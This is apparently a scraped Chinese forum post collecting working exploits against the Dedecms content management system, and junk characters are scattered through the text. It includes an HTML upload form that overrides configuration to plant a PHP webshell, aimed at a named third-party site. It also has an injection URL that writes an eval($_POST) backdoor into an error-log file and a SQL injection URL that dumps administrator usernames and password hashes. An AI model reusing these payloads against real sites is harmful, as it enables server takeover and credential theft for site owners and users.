# J( u$ ?& U" f4 F5 A: ~织梦(Dedecms)select_soft_post.php页面变量未初始漏洞3 c' U5 t8 y/ F9 G& k' q
<html>
: b+ r \+ I1 w4 b( {, Z1 q<head>
) ?0 U) k7 _1 `; }# J<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
; U( V8 g9 u0 P$ `</head>
. X4 p; _; }1 i<body style="FONT-SIZE: 9pt">6 a1 B2 p/ S j+ ?+ \
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
( o% g, n) M" a5 \5 B- l: p<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
' d! n- i1 L$ ~+ x$ \<input type='hidden' name='activepath' value='/data/cache/' /> g7 P+ C5 J# H6 S
<input type='hidden' name='cfg_basedir' value='../../' /># `: @$ s r6 |: r4 W
<input type='hidden' name='cfg_imgtype' value='php' />
9 N. |/ O C2 f6 L9 d( c5 M$ E<input type='hidden' name='cfg_not_allowall' value='txt' />
2 L' U# |& a+ q+ Q- y! d6 |$ j; `<input type='hidden' name='cfg_softtype' value='php' />
" I1 q! Z; g$ a& W& f- d<input type='hidden' name='cfg_mediatype' value='php' />
3 u, m# g2 t4 k( r( N) |<input type='hidden' name='f' value='form1.enclosure' />
9 F$ x- O e U9 p; g) J<input type='hidden' name='job' value='upload' />
- V, F8 Q4 ~7 r8 m0 \# K<input type='hidden' name='newname' value='fly.php' />6 e+ U4 z# _2 D9 y7 x: ^4 p5 V
Select U Shell <input type='file' name='uploadfile' size='25' />. w8 U1 g% j# Y v- l# v% m
<input type='submit' name='sb1' value='确定' />) ^6 f; y2 H% U, }
</form> F7 l3 K+ P" K$ f; S* Q) D0 h
<br />It's just a exp for the bug of Dedecms V55...<br />' t; m M% D3 r( v) B
Need register_globals = on...<br />
/ y$ L+ {- q/ P% H( s- hFun the game,get a webshell at /data/cache/fly.php...<br />
* \% a4 `' k$ ?* Q/ l5 ?</body>9 c& F3 P b% i# `
</html>
; J3 Z ]6 \& o. p7 e( y+ Z* i7 _1 g
7 C5 n; `) y5 U; Z
$ r; k+ M4 W' Z& {2 I! J2 M) h$ e. O; Q
2 ~8 u5 r$ O' j& C4 [+ B
, d+ X( I( W' @; I
$ Y, T( e; J5 W X9 D1 O6 D
2 l( j% t' o4 H4 \8 ^& t
/ c2 y; G+ i+ J* F! [
: c9 H& t0 u; E- ]2 F) m6 _
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞+ @# X) f- `* c5 C# W1 Y& z
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
" n* T% e: Y7 B. i6 m1. 访问网址:% a) T) ~0 N8 _
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>' M8 d' [( ]; ?9 `! ^
可看见错误信息
( X- a: i/ K/ ?9 P+ V$ a
0 Y6 S* {* H* i$ u/ t9 M/ r
" h* x& o$ t, f+ [3 ]2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
2 A: n( g3 }7 o& N% f6 Rint(3) Error: Illegal double '1024e1024' value found during parsing
; g$ [! v; Z5 ]" D) EError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>( |- c9 c/ ^' e8 ~$ _( M* }
3 {2 b) e& P3 A' A
+ }0 \2 _ s( }/ E( ]& m; f0 L
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
, m2 T P/ M# r, O- b6 O
. `4 W. }6 G4 U9 t$ ?9 B: [: i
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
0 m9 W7 S7 A' C0 c5 l( o$ [1 }3 |7 t. ]
+ U& h0 Z [2 {: h4 K, h) I& @
按确定后的看到第2步骤的信息表示文件木马上传成功.; ^! x z9 Z' @& N
+ {* P K" {( [! h& h" c
N/ P; a; z0 n7 v
$ t$ P) }: J& l J! V f7 S: H
. l" z7 Y+ n+ ~; N! y" |
4 z" t7 Q" o1 _5 U
5 n8 i; j7 G9 }5 B
" E" b' N) ^ m) c6 k) C
v: j0 ^0 ?5 M Y5 `
2 b; i" L! n7 Y9 k, b+ R, P$ Y) y! G, F
) ~1 L( x$ F" ~4 z/ q% [- k/ V+ [: Y, }& ^$ G/ G
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
+ D5 B- j6 Q5 r3 ?* W( P7 h6 Ghttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/* |
|